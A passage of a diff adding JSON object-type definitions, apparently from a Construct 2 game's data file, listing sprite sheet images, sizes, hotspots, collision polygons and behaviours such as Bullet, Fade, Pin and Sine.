+ false,
+ 119898957080080,
+ [],
+ null
+ ],
+ [
+ "t260",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 324268574596897,
+ [
+ [
+ "images/sprite213-sheet0.png",
+ 1745,
+ 0,
+ 0,
+ 80,
+ 80,
+ 1,
+ 0.6875,
+ 0.5874999761581421,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Bullet",
+ 15,
+ 301136079049845
+ ],
+ [
+ "Fade",
+ 18,
+ 887261030855290
+ ]
+ ],
+ false,
+ false,
+ 258477499104913,
+ [],
+ null
+ ],
+ [
+ "t261",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 807584266857728,
+ [
+ [
+ "images/sprite214-sheet0.png",
+ 1086,
+ 0,
+ 0,
+ 77,
+ 77,
+ 1,
+ 0.5064935088157654,
+ 0.5064935088157654,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 667005470236738
+ ]
+ ],
+ false,
+ false,
+ 957076762958313,
+ [],
+ null
+ ],
+ [
+ "t262",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 763680755316285,
+ [
+ [
+ "images/sprite200-sheet0.png",
+ 978,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 869316551852711
+ ]
+ ],
+ false,
+ false,
+ 164244103836342,
+ [],
+ null
+ ],
+ [
+ "t263",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 119607379608875,
+ [
+ [
+ "images/sprite216-sheet0.png",
+ 9416,
+ 0,
+ 0,
+ 269,
+ 53,
+ 1,
+ 0.9776951670646667,
+ 0.4905660450458527,
+ [],
+ [
+ -0.1338291764259338,
+ -0.2641510367393494,
+ 0.02230483293533325,
+ -5.960464477539063e-8,
+ -0.1412641406059265,
+ 0.1886789500713348
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Bullet",
+ 15,
+ 421796015985150
+ ],
+ [
+ "Fade",
+ 18,
+ 930553448187255
+ ]
+ ],
+ false,
+ false,
+ 525230825938706,
+ [],
+ null
+ ],
+ [
+ "t264",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 304392007022949,
+ [
+ [
+ "images/sprite216-sheet0.png",
+ 9416,
+ 0,
+ 0,
+ 269,
+ 53,
+ 1,
+ 0.9776951670646667,
+ 0.4905660450458527,
+ [],
+ [
+ -0.1338291764259338,
+ -0.2641510367393494,
+ 0.02230483293533325,
+ -5.960464477539063e-8,
+ -0.1412641406059265,
+ 0.1886789500713348
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 776078155420580
+ ]
+ ],
+ false,
+ false,
+ 650641581909148,
+ [],
+ null
+ ],
+ [
+ "t265",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles5.png",
+ 513,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 938419562392127
+ ]
+ ],
+ false,
+ false,
+ 235335883843122,
+ [],
+ null
+ ],
+ [
+ "t266",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 309485618620855,
+ [
+ [
+ "images/sprite218-sheet0.png",
+ 4025,
+ 0,
+ 0,
+ 159,
+ 170,
+ 1,
+ 0.5031446814537048,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 227266426951203
+ ]
+ ],
+ false,
+ false,
+ 988560664357078,
+ [],
+ null
+ ],
+ [
+ "t267",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 262083307297235,
+ [
+ [
+ "images/sprite219-sheet0.png",
+ 424,
+ 0,
+ 0,
+ 79,
+ 22,
+ 1,
+ 0.5063291192054749,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 832384614956540,
+ [],
+ null
+ ],
+ [
+ "t268",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/fonte.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 978978926995888
+ ]
+ ],
+ false,
+ false,
+ 358734265595910,
+ [],
+ null
+ ],
+ [
+ "t269",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 571237422750580,
+ [
+ [
+ "images/sprite221-sheet0.png",
+ 1088,
+ 0,
+ 0,
+ 27,
+ 13,
+ 1,
+ 0.5185185074806213,
+ 0.5384615659713745,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 305931645387211
+ ],
+ [
+ "Fade",
+ 18,
+ 586194846865500
+ ]
+ ],
+ false,
+ false,
+ 429207184824244,
+ [],
+ null
+ ],
+ [
+ "t270",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 542440640000241,
+ [
+ [
+ "images/sprite224-sheet0.png",
+ 5034,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 442979395849948,
+ [],
+ null
+ ],
+ [
+ "t271",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 926542713680408,
+ [
+ [
+ "images/sprite225-sheet0.png",
+ 5806,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 239213014294221,
+ [
+ [
+ "images/sprite225-sheet1.png",
+ 5611,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 478502761765388,
+ [],
+ null
+ ],
+ [
+ "t272",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 858282094533623,
+ [
+ [
+ "images/sprite226-sheet0.png",
+ 7025,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 508537294163203,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 360179798806530,
+ [],
+ null
+ ],
+ [
+ "t273",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 492360727257638,
+ [
+ [
+ "images/sprite227-sheet0.png",
+ 8001,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 493648705306201,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 615336023027349,
+ [],
+ null
+ ],
+ [
+ "t274",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 401163842451003,
+ [
+ [
+ "images/sprite228-sheet0.png",
+ 8603,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 715434581642890,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 457164364626989,
+ [],
+ null
+ ],
+ [
+ "t275",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 252117582103358,
+ [
+ [
+ "images/sprite230-sheet0.png",
+ 6529,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 111599794753376,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 957553055400448,
+ [],
+ null
+ ],
+ [
+ "t276",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 593304226170934,
+ [
+ [
+ "images/sprite231-sheet0.png",
+ 6741,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 424886585405253,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 373045075477061,
+ [],
+ null
+ ],
+ [
+ "t277",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 879037865355131,
+ [
+ [
+ "images/sprite232-sheet0.png",
+ 4582,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 820471062580513,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 404487946197722,
+ [],
+ null
+ ],
+ [
+ "t278",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 645511561131838,
+ [
+ [
+ "images/sprite233-sheet0.png",
+ 6992,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 817091147001826,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 891118634309809,
+ [],
+ null
+ ],
+ [
+ "t279",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 570936521948374,
+ [
+ [
+ "images/sprite234-sheet0.png",
+ 7480,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 886434191467567,
+ [
+ [
+ "images/sprite226-sheet1.png",
+ 3635,
+ 0,
+ 0,
+ 92,
+ 87,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 835674636795200,
+ [],
+ null
+ ],
+ [
+ "t280",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 305993950179020,
+ [
+ [
+ "images/selector-sheet0.png",
+ 1970,
+ 0,
+ 0,
+ 86,
+ 85,
+ 1,
+ 0.5116279125213623,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 554216653208582,
+ [],
+ null
+ ],
+ [
+ "t281",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 634338844136211,
+ [
+ [
+ "images/sprite235-sheet0.png",
+ 3967,
+ 0,
+ 0,
+ 147,
+ 63,
+ 1,
+ 0.5034013390541077,
+ 0.5079365372657776,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 369804135427925,
+ [],
+ null
+ ],
+ [
+ "t282",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 409568427053413,
+ [
+ [
+ "images/price1-sheet0.png",
+ 1743,
+ 0,
+ 0,
+ 69,
+ 34,
+ 1,
+ 0.5072463750839233,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 286208234844968
+ ]
+ ],
+ false,
+ false,
+ 209861398987760,
+ [],
+ null
+ ],
+ [
+ "t283",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 152922407683057,
+ [
+ [
+ "images/price2-sheet0.png",
+ 1884,
+ 0,
+ 0,
+ 76,
+ 34,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 878972750356201
+ ]
+ ],
+ false,
+ false,
+ 597114490099682,
+ [],
+ null
+ ],
+ [
+ "t284",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 216399103956786,
+ [
+ [
+ "images/price3-sheet0.png",
+ 1879,
+ 0,
+ 0,
+ 76,
+ 34,
+ 1,
+ 0.5263158082962036,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 464644379126089
+ ]
+ ],
+ false,
+ false,
+ 936747437321824,
+ [],
+ null
+ ],
+ [
+ "t285",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 895040953692316,
+ [
+ [
+ "images/price4-sheet0.png",
+ 1961,
+ 0,
+ 0,
+ 100,
+ 34,
+ 1,
+ 0.5199999809265137,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 422252007115981
+ ]
+ ],
+ false,
+ false,
+ 678080690135874,
+ [],
+ null
+ ],
+ [
+ "t286",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 380624022847778,
+ [
+ [
+ "images/price5-sheet0.png",
+ 1854,
+ 0,
+ 0,
+ 81,
+ 34,
+ 1,
+ 0.5432098507881165,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 902714619784166
+ ]
+ ],
+ false,
+ false,
+ 961096950008440,
+ [],
+ null
+ ],
+ [
+ "t287",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 781696858922142,
+ [
+ [
+ "images/price6-sheet0.png",
+ 1934,
+ 0,
+ 0,
+ 81,
+ 34,
+ 1,
+ 0.5555555820465088,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 856483803265119
+ ]
+ ],
+ false,
+ false,
+ 968185497222842,
+ [],
+ null
+ ],
+ [
+ "t288",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 160250429386856,
+ [
+ [
+ "images/price7-sheet0.png",
+ 1930,
+ 0,
+ 0,
+ 87,
+ 34,
+ 1,
+ 0.5862069129943848,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 752050057219255
+ ]
+ ],
+ false,
+ false,
+ 555285606389071,
+ [],
+ null
+ ],
+ [
+ "t289",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 602438341806337,
+ [
+ [
+ "images/price8-sheet0.png",
+ 1970,
+ 0,
+ 0,
+ 87,
+ 34,
+ 1,
+ 0.5862069129943848,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 627584680187925
+ ]
+ ],
+ false,
+ false,
+ 721721198820759,
+ [],
+ null
+ ],
+ [
+ "t290",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 156502712033572,
+ [
+ [
+ "images/price9-sheet0.png",
+ 1976,
+ 0,
+ 0,
+ 94,
+ 34,
+ 1,
+ 0.585106372833252,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 924531150376182
+ ]
+ ],
+ false,
+ false,
+ 284623046726230,
+ [],
+ null
+ ],
+ [
+ "t291",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 176558208953044,
+ [
+ [
+ "images/price10-sheet0.png",
+ 1850,
+ 0,
+ 0,
+ 94,
+ 34,
+ 1,
+ 0.585106372833252,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 750388973869304
+ ]
+ ],
+ false,
+ false,
+ 613147555099272,
+ [],
+ null
+ ],
+ [
+ "t292",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 645398819360194,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 835968785538738
+ ],
+ [
+ "Pin",
+ 14,
+ 977583126053863
+ ]
+ ],
+ false,
+ false,
+ 270983955002640,
+ [],
+ null
+ ],
+ [
+ "t293",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 905860808694807,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 219495440465647
+ ],
+ [
+ "Pin",
+ 14,
+ 986464653504735
+ ]
+ ],
+ false,
+ false,
+ 132994851706716,
+ [],
+ null
+ ],
+ [
+ "t294",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 745480358306136,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 194089469495098
+ ],
+ [
+ "Pin",
+ 14,
+ 604581581280003
+ ]
+ ],
+ false,
+ false,
+ 149624458485326,
+ [],
+ null
+ ],
+ [
+ "t295",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 210284726423261,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 805622094571671
+ ],
+ [
+ "Pin",
+ 14,
+ 790274751517990
+ ]
+ ],
+ false,
+ false,
+ 659149215312592,
+ [],
+ null
+ ],
+ [
+ "t296",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 314322808225719,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 425809761834689
+ ],
+ [
+ "Pin",
+ 14,
+ 153534898833660
+ ]
+ ],
+ false,
+ false,
+ 111874943318482,
+ [],
+ null
+ ],
+ [
+ "t297",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 149053780711555,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 610795980647789
+ ],
+ [
+ "Pin",
+ 14,
+ 764180231123022
+ ]
+ ],
+ false,
+ false,
+ 855762424835573,
+ [],
+ null
+ ],
+ [
+ "t298",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 197556258642419,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 836792496064570
+ ],
+ [
+ "Pin",
+ 14,
+ 287232914327034
+ ]
+ ],
+ false,
+ false,
+ 755188026800395,
+ [],
+ null
+ ],
+ [
+ "t299",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 260173818975246,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 315839409280092
+ ],
+ [
+ "Pin",
+ 14,
+ 766697535025243
+ ]
+ ],
+ false,
+ false,
+ 350453346280984,
+ [],
+ null
+ ],
+ [
+ "t300",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 760307913402144,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 759612024024282
+ ],
+ [
+ "Pin",
+ 14,
+ 982302435372385
+ ]
+ ],
+ false,
+ false,
+ 730861936930373,
+ [],
+ null
+ ],
+ [
+ "t301",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 355173234046117,
+ [
+ [
+ "images/new1-sheet0.png",
+ 1983,
+ 0,
+ 0,
+ 73,
+ 54,
+ 1,
+ 0.5068492889404297,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 718622281202177
+ ],
+ [
+ "Pin",
+ 14,
+ 988609184047325
+ ]
+ ],
+ false,
+ false,
+ 291272873648871,
+ [],
+ null
+ ],
+ [
+ "t302",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 957546518206850,
+ [
+ [
+ "images/foward-sheet0.png",
+ 1059,
+ 0,
+ 0,
+ 58,
+ 80,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 694341773562736,
+ [],
+ null
+ ],
+ [
+ "t303",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 748258762549772,
+ [
+ [
+ "images/foward2-sheet0.png",
+ 1071,
+ 0,
+ 0,
+ 58,
+ 80,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ -0.5,
+ -0.5,
+ 0.5,
+ -0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 226060221989901,
+ [],
+ null
+ ],
+ [
+ "t304",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "unmute",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 495888492686569,
+ [
+ [
+ "images/soundsprites-sheet0.png",
+ 1648,
+ 0,
+ 0,
+ 45,
+ 38,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ [],
+ [
+ -0.4888888895511627,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ 0.5789473652839661,
+ 0.1858930885791779,
+ 0.5789473652839661,
+ -0.4888888895511627,
+ 0.5789473652839661
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "mute",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 314369546571642,
+ [
+ [
+ "images/soundsprites-sheet1.png",
+ 2596,
+ 0,
+ 0,
+ 45,
+ 38,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ [],
+ [
+ -0.4888888895511627,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ 0.5789473652839661,
+ 0.1858930885791779,
+ 0.5789473652839661,
+ -0.4888888895511627,
+ 0.5789473652839661
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 839145856567421,
+ [],
+ null
+ ],
+ [
+ "t305",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 641764952572053,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
